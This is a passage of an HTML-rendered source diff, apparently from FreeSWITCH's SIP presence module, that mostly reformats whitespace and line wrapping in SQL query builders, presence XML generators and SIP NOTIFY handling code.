</span><span class="cx">                                 sql = switch_mprintf("update sip_dialogs set call_info_state='%q' where hostname='%q' and sip_dialogs.sip_from_user='%q' "
</span><del>-                                                                         "and sip_dialogs.sip_from_host='%q' and call_info='%q'",
-                                                                         call_info_state,
-                                                                         mod_sofia_globals.hostname,
-                                                                         euser, host, call_info);
-                                
</del><ins>+                                                                         "and sip_dialogs.sip_from_host='%q' and call_info='%q'",
+                                                                         call_info_state, mod_sofia_globals.hostname, euser, host, call_info);
+
</ins><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                         if (mod_sofia_globals.debug_sla > 1) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "STATE SQL %s\n", sql);
</span><span class="cx">                         }
</span><span class="cx">                         sofia_glue_execute_sql_now(profile, &sql, SWITCH_TRUE);
</span><del>-                        
</del><span class="cx">
</span><span class="cx">
</span><ins>+
</ins><span class="cx">                         if (mod_sofia_globals.debug_sla > 1) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "PROCESS PRESENCE EVENT\n");
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                         sync_sla(profile, euser, host, SWITCH_TRUE, SWITCH_TRUE);
</span><span class="cx">                 }
</span><del>-                
</del><span class="cx">
</span><del>-                if ((sql = switch_mprintf(
-                                                        
-                                                         "select sip_subscriptions.proto,sip_subscriptions.sip_user,sip_subscriptions.sip_host,"
-                                                         "sip_subscriptions.sub_to_user,sip_subscriptions.sub_to_host,sip_subscriptions.event,"
-                                                         "sip_subscriptions.contact,sip_subscriptions.call_id,sip_subscriptions.full_from,"
-                                                         "sip_subscriptions.full_via,sip_subscriptions.expires,sip_subscriptions.user_agent,"
-                                                         "sip_subscriptions.accept,sip_subscriptions.profile_name"
-                                                         ",'%q','%q','%q',sip_presence.status,sip_presence.rpid "
-                                                         "from sip_subscriptions "
-                                                         "left join sip_presence on "
-                                                         "(sip_subscriptions.sub_to_user=sip_presence.sip_user and sip_subscriptions.sub_to_host=sip_presence.sip_host and "
-                                                         "sip_subscriptions.profile_name=sip_presence.profile_name) "
-                                                         "where sip_subscriptions.expires > -1 and (event='%q' or event='%q') and sub_to_user='%q' "
-                                                         "and (sub_to_host='%q' or presence_hosts like '%%%q%%') "
-                                                         "and (sip_subscriptions.profile_name = '%q' or sip_subscriptions.presence_hosts != sip_subscriptions.sub_to_host)",
-                                                         switch_str_nil(status), switch_str_nil(rpid), host, event_type, alt_event_type, euser, host, host, profile->name))) {
</del><span class="cx">
</span><ins>+                if ((sql = switch_mprintf("select sip_subscriptions.proto,sip_subscriptions.sip_user,sip_subscriptions.sip_host,"
+                                                                 "sip_subscriptions.sub_to_user,sip_subscriptions.sub_to_host,sip_subscriptions.event,"
+                                                                 "sip_subscriptions.contact,sip_subscriptions.call_id,sip_subscriptions.full_from,"
+                                                                 "sip_subscriptions.full_via,sip_subscriptions.expires,sip_subscriptions.user_agent,"
+                                                                 "sip_subscriptions.accept,sip_subscriptions.profile_name"
+                                                                 ",'%q','%q','%q',sip_presence.status,sip_presence.rpid "
+                                                                 "from sip_subscriptions "
+                                                                 "left join sip_presence on "
+                                                                 "(sip_subscriptions.sub_to_user=sip_presence.sip_user and sip_subscriptions.sub_to_host=sip_presence.sip_host and "
+                                                                 "sip_subscriptions.profile_name=sip_presence.profile_name) "
+                                                                 "where sip_subscriptions.expires > -1 and (event='%q' or event='%q') and sub_to_user='%q' "
+                                                                 "and (sub_to_host='%q' or presence_hosts like '%%%q%%') "
+                                                                 "and (sip_subscriptions.profile_name = '%q' or sip_subscriptions.presence_hosts != sip_subscriptions.sub_to_host)",
+                                                                 switch_str_nil(status), switch_str_nil(rpid), host, event_type, alt_event_type, euser, host, host, profile->name))) {
+
</ins><span class="cx">                         struct presence_helper helper = { 0 };
</span><span class="cx">                         helper.profile = profile;
</span><span class="cx">                         helper.event = event;
</span><span class="cx">                         SWITCH_STANDARD_STREAM(helper.stream);
</span><span class="cx">                         switch_assert(helper.stream.data);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (mod_sofia_globals.debug_presence > 0) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "%s START_PRESENCE_SQL (%s)\n",
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "%s START_PRESENCE_SQL (%s)\n",
</ins><span class="cx">                                                                  event->event_id == SWITCH_EVENT_PRESENCE_IN ? "IN" : "OUT", profile->name);
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="lines">@@ -678,14 +666,13 @@
</span><span class="cx">                                 free(buf);
</span><span class="cx">                         }
</span><span class="cx">
</span><del>-                        sofia_glue_execute_sql_callback(profile,
-                                                                                        NULL, sql, sofia_presence_sub_callback, &helper);
</del><ins>+                        sofia_glue_execute_sql_callback(profile, NULL, sql, sofia_presence_sub_callback, &helper);
</ins><span class="cx">
</span><span class="cx">                         if (mod_sofia_globals.debug_presence > 0) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "%s END_PRESENCE_SQL (%s)\n",
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "%s END_PRESENCE_SQL (%s)\n",
</ins><span class="cx">                                                                  event->event_id == SWITCH_EVENT_PRESENCE_IN ? "IN" : "OUT", profile->name);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_safe_free(sql);
</span><span class="cx">
</span><span class="cx">                         if (!zstr((char *) helper.stream.data)) {
</span><span class="lines">@@ -744,7 +731,7 @@
</span><span class="cx">
</span><span class="cx">         while (mod_sofia_globals.running == 1) {
</span><span class="cx">                 int count = 0;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_queue_trypop(mod_sofia_globals.presence_queue, &pop) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_event_t *event = (switch_event_t *) pop;
</span><span class="cx">
</span><span class="lines">@@ -931,7 +918,7 @@
</span><span class="cx">                 if (!zstr(to_user)) {
</span><span class="cx">                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "to-user", to_user);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (zstr(state)) {
</span><span class="cx">                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "unique-id", SOFIA_CHAT_PROTO);
</span><span class="cx">                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "channel-state", "CS_HANGUP");
</span><span class="lines">@@ -997,50 +984,40 @@
</span><span class="cx">
</span><span class="cx">         if (switch_stristr("polycom", user_agent)) {
</span><span class="cx">                 *ct = "application/xpidf+xml";
</span><del>-                
</del><ins>+
</ins><span class="cx">                 /* of course!, lets make a big deal over dashes. Now the stupidity is complete. */
</span><span class="cx">
</span><span class="cx">                 if (!strcmp(prpid, "on-the-phone")) {
</span><span class="cx">                         prpid = "onthephone";
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                ret = switch_mprintf(
-                                                         "<?xml version=\"1.0\"?>\n"
-                                                         "<!DOCTYPE presence PUBLIC \"-//IETF//DTD RFCxxxx XPIDF 1.0//EN\" \"xpidf.dtd\">\n"
-                                                         "<presence>\n"
-                                                         " <status>\n"
-                                                         " <note>%s</note>\n"
-                                                         " </status>\n"
-                                                         " <presentity uri=\"%s;method=SUBSCRIBE\" />\n"
-                                                         " <atom id=\"%s\">\n"
-                                                         " <address uri=\"%s;user=ip\" priority=\"0.800000\">\n"
-                                                         " <status status=\"%s\" />\n"
-                                                         " <msnsubstatus substatus=\"%s\" />\n"
-                                                         " </address>\n"
-                                                         " </atom>\n"
-                                                         "</presence>\n", status, id, id, url, open, prpid
-                                                         );
</del><ins>+                ret = switch_mprintf("<?xml version=\"1.0\"?>\n"
+                                                         "<!DOCTYPE presence PUBLIC \"-//IETF//DTD RFCxxxx XPIDF 1.0//EN\" \"xpidf.dtd\">\n"
+                                                         "<presence>\n"
+                                                         " <status>\n"
+                                                         " <note>%s</note>\n"
+                                                         " </status>\n"
+                                                         " <presentity uri=\"%s;method=SUBSCRIBE\" />\n"
+                                                         " <atom id=\"%s\">\n"
+                                                         " <address uri=\"%s;user=ip\" priority=\"0.800000\">\n"
+                                                         " <status status=\"%s\" />\n"
+                                                         " <msnsubstatus substatus=\"%s\" />\n" " </address>\n" " </atom>\n" "</presence>\n", status, id, id, url, open, prpid);
</ins><span class="cx">         } else {
</span><span class="cx">                 *ct = "application/pidf+xml";
</span><del>-                ret = switch_mprintf(
-                                                         "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?> \n"
-                                                         "<presence xmlns='urn:ietf:params:xml:ns:pidf' \n"
-                                                         "xmlns:dm='urn:ietf:params:xml:ns:pidf:data-model' \n"
-                                                         "xmlns:rpid='urn:ietf:params:xml:ns:pidf:rpid' \n"
-                                                         "xmlns:c='urn:ietf:params:xml:ns:pidf:cipid' entity='%s'>\n"
-                                                        
-                                                         " <tuple id='t6a5ed77e'>\n"
-                                                         " <status>\r\n"
-                                                         " <basic>%s</basic>\n"
-                                                         " </status>\n"
-                                                         " </tuple>\n"
-                                                         " <dm:person id='p06360c4a'>\n"
-                                                         " <rpid:activities>\r\n"
-                                                         " <rpid:%s/>\n"
-                                                         " </rpid:activities>\n"
-                                                         " <dm:note>%s</dm:note>\n"
-                                                         " </dm:person>\n"
-                                                         "</presence>", id, open, prpid, status);
</del><ins>+                ret = switch_mprintf("<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?> \n"
+                                                         "<presence xmlns='urn:ietf:params:xml:ns:pidf' \n"
+                                                         "xmlns:dm='urn:ietf:params:xml:ns:pidf:data-model' \n"
+                                                         "xmlns:rpid='urn:ietf:params:xml:ns:pidf:rpid' \n"
+                                                         "xmlns:c='urn:ietf:params:xml:ns:pidf:cipid' entity='%s'>\n"
+                                                         " <tuple id='t6a5ed77e'>\n"
+                                                         " <status>\r\n"
+                                                         " <basic>%s</basic>\n"
+                                                         " </status>\n"
+                                                         " </tuple>\n"
+                                                         " <dm:person id='p06360c4a'>\n"
+                                                         " <rpid:activities>\r\n"
+                                                         " <rpid:%s/>\n"
+                                                         " </rpid:activities>\n" " <dm:note>%s</dm:note>\n" " </dm:person>\n" "</presence>", id, open, prpid, status);
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">
</span><span class="lines">@@ -1101,26 +1078,26 @@
</span><span class="cx">                         status = "Available";
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (profile_name && strcasecmp(profile_name, helper->profile->name)) {
</span><del>- if ((ext_profile = sofia_glue_find_profile(profile_name))) {
- profile = ext_profile;
- }
- }
-        
</del><ins>+                if ((ext_profile = sofia_glue_find_profile(profile_name))) {
+                        profile = ext_profile;
+                }
+        }
+
</ins><span class="cx">         if (!(nh = nua_handle_by_call_id(profile->nua, call_id))) {
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (expires) {
</span><span class="cx">                 long tmp = atol(expires);
</span><span class="cx">                 if (tmp > 0) {
</span><del>-                        exptime = tmp - switch_epoch_time_now(NULL);// - SUB_OVERLAP;
</del><ins>+                        exptime = tmp - switch_epoch_time_now(NULL);        // - SUB_OVERLAP;
</ins><span class="cx">                 } else {
</span><span class="cx">                         exptime = tmp;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!rpid) {
</span><span class="cx">                 rpid = "unknown";
</span><span class="cx">         }
</span><span class="lines">@@ -1134,8 +1111,8 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (mod_sofia_globals.debug_presence > 0) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE,
-                                                 "SEND PRESENCE\nTo: \t%s@%s\nFrom: \t%s@%s\nCall-ID: \t%s\nProfile:\t%s [%s]\n\n",
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE,
+                                                 "SEND PRESENCE\nTo: \t%s@%s\nFrom: \t%s@%s\nCall-ID: \t%s\nProfile:\t%s [%s]\n\n",
</ins><span class="cx">                                                  user, host, sub_to_user, sub_to_host, call_id, profile_name, helper->profile->name);
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -1312,7 +1289,7 @@
</span><span class="cx">                                         if (zstr(from_id)) {
</span><span class="cx">                                                 from_id = p_to_user;
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (zstr(from_id)) {
</span><span class="cx">                                                 switch_snprintf(status_line, sizeof(status_line), "On The Phone %s", status);
</span><span class="cx">                                         } else {
</span><span class="lines">@@ -1325,11 +1302,11 @@
</span><span class="cx">                         } else {
</span><span class="cx">                                 open = "closed";
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         prpid = translate_rpid(rpid);
</span><span class="cx">                         pl = gen_pidf(user_agent, clean_id, profile->url, open, rpid, prpid, status_line, &ct);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">         } else {
</span><span class="cx">                 if (in) {
</span><span class="cx">                         open = "open";
</span><span class="lines">@@ -1339,15 +1316,15 @@
</span><span class="cx">                 prpid = translate_rpid(rpid);
</span><span class="cx">                 pl = gen_pidf(user_agent, clean_id, profile->url, open, rpid, prpid, status, &ct);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         nua_handle_bind(nh, &mod_sofia_globals.keep_private);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (helper->event && helper->event->event_id == SWITCH_EVENT_PRESENCE_OUT) {
</span><span class="cx">                 switch_set_string(sstr, "terminated;reason=noresource");
</span><span class="cx">                 switch_set_string(expires_str, "0");
</span><del>- kill_handle = 1;
</del><ins>+                kill_handle = 1;
</ins><span class="cx">         } else if (exptime > 0) {
</span><del>-                switch_snprintf(sstr, sizeof(sstr), "active;expires=%u", (unsigned)exptime);
</del><ins>+                switch_snprintf(sstr, sizeof(sstr), "active;expires=%u", (unsigned) exptime);
</ins><span class="cx">         } else {
</span><span class="cx">                 unsigned delta = (unsigned) (exptime * -1);
</span><span class="cx">                 switch_snprintf(sstr, sizeof(sstr), "active;expires=%u", delta);
</span><span class="lines">@@ -1363,13 +1340,12 @@
</span><span class="cx">
</span><span class="cx">
</span><span class="cx">
</span><del>-        nua_notify(nh,
</del><ins>+        nua_notify(nh,
</ins><span class="cx">                          TAG_IF(*expires_str, SIPTAG_EXPIRES_STR(expires_str)),
</span><del>-                         SIPTAG_SUBSCRIPTION_STATE_STR(sstr),
-                         SIPTAG_EVENT_STR(event), SIPTAG_CONTENT_TYPE_STR(ct), SIPTAG_PAYLOAD_STR(pl), TAG_END());
-        
</del><ins>+                         SIPTAG_SUBSCRIPTION_STATE_STR(sstr), SIPTAG_EVENT_STR(event), SIPTAG_CONTENT_TYPE_STR(ct), SIPTAG_PAYLOAD_STR(pl), TAG_END());
+
</ins><span class="cx"> end:
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (ext_profile) {
</span><span class="cx">                 sofia_glue_release_profile(ext_profile);
</span><span class="cx">         }
</span><span class="lines">@@ -1406,7 +1382,7 @@
</span><span class="cx">                         profile = ext_profile;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(nh = nua_handle_by_call_id(h->profile->nua, call_id))) {
</span><span class="cx">                 if (profile->debug) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Cannot find handle for %s\n", call_id);
</span><span class="lines">@@ -1428,7 +1404,7 @@
</span><span class="cx">
</span><span class="cx">         h->total++;
</span><span class="cx">
</span><del>- end:
</del><ins>+ end:
</ins><span class="cx">
</span><span class="cx">         if (ext_profile) {
</span><span class="cx">                 sofia_glue_release_profile(ext_profile);
</span><span class="lines">@@ -1477,13 +1453,13 @@
</span><span class="cx">         char *host = argv[3];
</span><span class="cx">         char *event = argv[4];
</span><span class="cx">         int i;
</span><del>-        char sstr[128] = "", expires_str[128] = "";        
</del><ins>+        char sstr[128] = "", expires_str[128] = "";
</ins><span class="cx">         time_t exptime = 3600;
</span><span class="cx">         nua_handle_t *nh;
</span><span class="cx">
</span><span class="cx">         if (mod_sofia_globals.debug_sla > 1) {
</span><del>-                for(i = 0; i < argc; i++) {
-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,"SLA3: %d [%s]=[%s]\n", i, columnNames[i], argv[i]);
</del><ins>+                for (i = 0; i < argc; i++) {
+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "SLA3: %d [%s]=[%s]\n", i, columnNames[i], argv[i]);
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -1496,13 +1472,13 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (exptime > 0) {
</span><del>-                switch_snprintf(sstr, sizeof(sstr), "active;expires=%u", (unsigned)exptime);
</del><ins>+                switch_snprintf(sstr, sizeof(sstr), "active;expires=%u", (unsigned) exptime);
</ins><span class="cx">         } else {
</span><span class="cx">                 switch_snprintf(sstr, sizeof(sstr), "terminated;reason=noresource");
</span><span class="cx">         }
</span><del>-        
-        switch_snprintf(expires_str, sizeof(expires_str), "%u", (unsigned)exptime);
</del><span class="cx">
</span><ins>+        switch_snprintf(expires_str, sizeof(expires_str), "%u", (unsigned) exptime);
+
</ins><span class="cx">         data = switch_core_hash_find(sh->hash, key);
</span><span class="cx">
</span><span class="cx">         if (data) {
</span><span class="lines">@@ -1510,27 +1486,23 @@
</span><span class="cx">         } else {
</span><span class="cx">                 tmp = switch_core_sprintf(sh->pool, "<sip:%s>;appearance-index=*;appearance-state=idle", host);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!strcasecmp(event, "line-seize") && (nh = nua_handle_by_call_id(sh->profile->nua, call_id))) {
</span><span class="cx">                 char *hack;
</span><span class="cx">
</span><del>-                if ((hack = (char *)switch_stristr("=seized", tmp))) {
</del><ins>+                if ((hack = (char *) switch_stristr("=seized", tmp))) {
</ins><span class="cx">                         switch_snprintf(hack, 7, "=idle ");
</span><span class="cx">                 }
</span><span class="cx">                 nua_notify(nh,
</span><span class="cx">                                  SIPTAG_EXPIRES_STR("0"),
</span><del>-                                 SIPTAG_SUBSCRIPTION_STATE_STR("terminated;reason=noresource"),
-                                 SIPTAG_EVENT_STR("line-seize"),
-                                 SIPTAG_CALL_INFO_STR(tmp),
-                                 TAG_END());
</del><ins>+                                 SIPTAG_SUBSCRIPTION_STATE_STR("terminated;reason=noresource"), SIPTAG_EVENT_STR("line-seize"), SIPTAG_CALL_INFO_STR(tmp), TAG_END());
</ins><span class="cx">                 return 0;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!strcasecmp(event, "call-info") && (nh = nua_handle_by_call_id(sh->profile->nua, call_id))) {
</span><span class="cx">                 nua_notify(nh,
</span><span class="cx">                                  TAG_IF(*expires_str, SIPTAG_EXPIRES_STR(expires_str)),
</span><del>-                                 SIPTAG_SUBSCRIPTION_STATE_STR(sstr),
-                                 SIPTAG_EVENT_STR("call-info"), SIPTAG_CALL_INFO_STR(tmp), TAG_END());
</del><ins>+                                 SIPTAG_SUBSCRIPTION_STATE_STR(sstr), SIPTAG_EVENT_STR("call-info"), SIPTAG_CALL_INFO_STR(tmp), TAG_END());
</ins><span class="cx">
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -1549,8 +1521,8 @@
</span><span class="cx">         int i;
</span><span class="cx">
</span><span class="cx">         if (mod_sofia_globals.debug_sla > 1) {
</span><del>-                for(i = 0; i < argc; i++) {
-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,"SLA2: %d [%s]=[%s]\n", i, columnNames[i], argv[i]);
</del><ins>+                for (i = 0; i < argc; i++) {
+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "SLA2: %d [%s]=[%s]\n", i, columnNames[i], argv[i]);
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -1563,9 +1535,9 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         switch_snprintf(key, sizeof(key), "%s%s", user, host);
</span><del>-        
</del><ins>+
</ins><span class="cx">         data = switch_core_hash_find(sh->hash, key);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (data) {
</span><span class="cx">                 tmp = switch_core_sprintf(sh->pool, "%s,<sip:%s>;%s;appearance-state=%s", data, host, info, state);
</span><span class="cx">         } else {
</span><span class="lines">@@ -1573,7 +1545,7 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         switch_core_hash_insert(sh->hash, key, tmp);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return 0;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -1587,14 +1559,9 @@
</span><span class="cx">         sh = switch_core_alloc(pool, sizeof(*sh));
</span><span class="cx">         sh->pool = pool;
</span><span class="cx">         switch_core_hash_init(&sh->hash, sh->pool);
</span><del>-                        
</del><ins>+
</ins><span class="cx">         sql = switch_mprintf("select sip_from_user,sip_from_host,call_info,call_info_state from sip_dialogs "
</span><del>-                                                 "where hostname='%q' "
-                                                 "and sip_from_user='%q' and sip_from_host='%q' ",
-                                                 mod_sofia_globals.hostname,
-                                                 to_user,
-                                                 to_host
-                                                 );
</del><ins>+                                                 "where hostname='%q' " "and sip_from_user='%q' and sip_from_host='%q' ", mod_sofia_globals.hostname, to_user, to_host);
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx">         if (mod_sofia_globals.debug_sla > 1) {
</span><span class="lines">@@ -1603,27 +1570,18 @@
</span><span class="cx">         sofia_glue_execute_sql_callback(profile, profile->ireg_mutex, sql, broadsoft_sla_gather_state_callback, sh);
</span><span class="cx">         switch_safe_free(sql);
</span><span class="cx">
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (unseize) {
</span><span class="cx">                 sql = switch_mprintf("select call_id,expires,sub_to_user,sub_to_host,event "
</span><span class="cx">                                                          "from sip_subscriptions "
</span><span class="cx">                                                          "where expires > -1 and hostname='%q' "
</span><span class="cx">                                                          "and sub_to_user='%q' and sub_to_host='%q' "
</span><del>-                                                         "and (event='call-info' or event='line-seize')",
-                                                         mod_sofia_globals.hostname,
-                                                         to_user,
-                                                         to_host
-                                                         );
</del><ins>+                                                         "and (event='call-info' or event='line-seize')", mod_sofia_globals.hostname, to_user, to_host);
</ins><span class="cx">         } else {
</span><span class="cx">                 sql = switch_mprintf("select call_id,expires,sub_to_user,sub_to_host,event "
</span><span class="cx">                                                          "from sip_subscriptions "
</span><span class="cx">                                                          "where expires > -1 and hostname='%q' "
</span><del>-                                                         "and sub_to_user='%q' and sub_to_host='%q' "
-                                                         "and (event='call-info')",
-                                                         mod_sofia_globals.hostname,
-                                                         to_user,
-                                                         to_host
-                                                         );
</del><ins>+                                                         "and sub_to_user='%q' and sub_to_host='%q' " "and (event='call-info')", mod_sofia_globals.hostname, to_user, to_host);
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">
</span><span class="lines">@@ -1639,10 +1597,7 @@
</span><span class="cx">
</span><span class="cx">
</span><span class="cx">         if (clear) {
</span><del>-                sql = switch_mprintf("delete from sip_dialogs where sip_from_user='%q' and sip_from_host='%q' and call_info_state='seized'",
-                                                         to_user,
-                                                         to_host
-                                                         );
</del><ins>+                sql = switch_mprintf("delete from sip_dialogs where sip_from_user='%q' and sip_from_host='%q' and call_info_state='seized'", to_user, to_host);
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx">                 if (mod_sofia_globals.debug_sla > 1) {
</span><span class="lines">@@ -1696,11 +1651,11 @@
</span><span class="cx">                         return;
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &network_port);
</del><ins>+                sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &network_port);
</ins><span class="cx">
</span><span class="cx">                 if (sofia_glue_check_nat(profile, network_ip)) {
</span><span class="cx">                         is_auto_nat = 1;
</span><del>-                }        
</del><ins>+                }
</ins><span class="cx">
</span><span class="cx">                 tl_gets(tags, NUTAG_SUBSTATE_REF(sub_state), TAG_END());
</span><span class="cx">
</span><span class="lines">@@ -1719,7 +1674,7 @@
</span><span class="cx">                                         display = "\"user\"";
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                } else {
</del><ins>+                } else {
</ins><span class="cx">                         display = "\"user\"";
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="lines">@@ -1778,22 +1733,13 @@
</span><span class="cx">                 ipv6 = strchr(contact_host, ':');
</span><span class="cx">                 if (contact->m_url->url_params) {
</span><span class="cx">                         contact_str = switch_mprintf("%s <sip:%s@%s%s%s%s;%s>%s",
</span><del>-                                                                                display, contact->m_url->url_user,
-                                                                                ipv6 ? "[" : "",
-                                                                                contact_host,
-                                                                                ipv6 ? "]" : "",
-                                                                                new_port,
-                                                                                contact->m_url->url_params,
-                                                                                is_nat ? ";fs_nat=yes" : "");
</del><ins>+                                                                                 display, contact->m_url->url_user,
+                                                                                 ipv6 ? "[" : "",
+                                                                                 contact_host, ipv6 ? "]" : "", new_port, contact->m_url->url_params, is_nat ? ";fs_nat=yes" : "");
</ins><span class="cx">                 } else {
</span><span class="cx">                         contact_str = switch_mprintf("%s <sip:%s@%s%s%s%s>%s",
</span><del>-                                                                                display,
-                                                                                contact->m_url->url_user,
-                                                                                ipv6 ? "[" : "",
-                                                                                contact_host,
-                                                                                ipv6 ? "]" : "",
-                                                                                new_port,
-                                                                                is_nat ? ";fs_nat=yes" : "");
</del><ins>+                                                                                 display,
+                                                                                 contact->m_url->url_user, ipv6 ? "[" : "", contact_host, ipv6 ? "]" : "", new_port, is_nat ? ";fs_nat=yes" : "");
</ins><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">
</span><span class="lines">@@ -1841,7 +1787,7 @@
</span><span class="cx">                         if ((p = strchr(protocol, '+'))) {
</span><span class="cx">                                 *p = '\0';
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (switch_event_create(&sevent, SWITCH_EVENT_PRESENCE_IN) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 switch_event_add_header_string(sevent, SWITCH_STACK_BOTTOM, "proto", protocol);
</span><span class="cx">                                 switch_event_add_header_string(sevent, SWITCH_STACK_BOTTOM, "login", profile->name);
</span><span class="lines">@@ -1884,13 +1830,13 @@
</span><span class="cx">                 call_id = sip->sip_call_id->i_id;
</span><span class="cx">                 full_from = sip_header_as_string(profile->home, (void *) sip->sip_from);
</span><span class="cx">                 full_via = sip_header_as_string(profile->home, (void *) sip->sip_via);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (sip->sip_expires->ex_delta > 31536000) {
</span><span class="cx">                         sip->sip_expires->ex_delta = 31536000;
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 exp_delta = profile->force_subscription_expires ? profile->force_subscription_expires : (sip->sip_expires ? sip->sip_expires->ex_delta : 3600);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (exp_delta) {
</span><span class="cx">                         exp_abs = (long) switch_epoch_time_now(NULL) + exp_delta;
</span><span class="cx">                 } else {
</span><span class="lines">@@ -1899,14 +1845,13 @@
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 switch_snprintf(exp_delta_str, sizeof(exp_delta_str), "%ld", exp_delta);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (sofia_test_pflag(profile, PFLAG_MULTIREG)) {
</span><span class="cx">                         sql = switch_mprintf("delete from sip_subscriptions where call_id='%q' "
</span><span class="cx">                                                                  "or (proto='%q' and sip_user='%q' and sip_host='%q' "
</span><span class="cx">                                                                  "and sub_to_user='%q' and sub_to_host='%q' and event='%q' and hostname='%q' "
</span><span class="cx">                                                                  "and contact='%q')",
</span><del>-                                                                 call_id, proto, from_user, from_host, to_user, to_host, event, mod_sofia_globals.hostname,
-                                                                 contact_str);
</del><ins>+                                                                 call_id, proto, from_user, from_host, to_user, to_host, event, mod_sofia_globals.hostname, contact_str);
</ins><span class="cx">
</span><span class="cx">                 } else {
</span><span class="cx">                         sql = switch_mprintf("delete from sip_subscriptions where "
</span><span class="lines">@@ -1929,21 +1874,21 @@
</span><span class="cx">                                 switch_snprintf(accept + strlen(accept), sizeof(accept) - strlen(accept), "%s%s ", ap->ac_type, ap->ac_next ? "," : "");
</span><span class="cx">                                 ap = ap->ac_next;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         sql = switch_mprintf("insert into sip_subscriptions "
</span><span class="cx">                                                                  "(proto,sip_user,sip_host,sub_to_user,sub_to_host,presence_hosts,event,contact,call_id,full_from,"
</span><span class="cx">                                                                  "full_via,expires,user_agent,accept,profile_name,hostname,network_port,network_ip) "
</span><span class="cx">                                                                  "values ('%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q',%ld,'%q','%q','%q','%q','%d','%q')",
</span><del>-                                                                 proto, from_user, from_host, to_user, to_host, profile->presence_hosts ? profile->presence_hosts : to_host,
-                                                                 event, contact_str, call_id, full_from, full_via,
</del><ins>+                                                                 proto, from_user, from_host, to_user, to_host, profile->presence_hosts ? profile->presence_hosts : to_host,
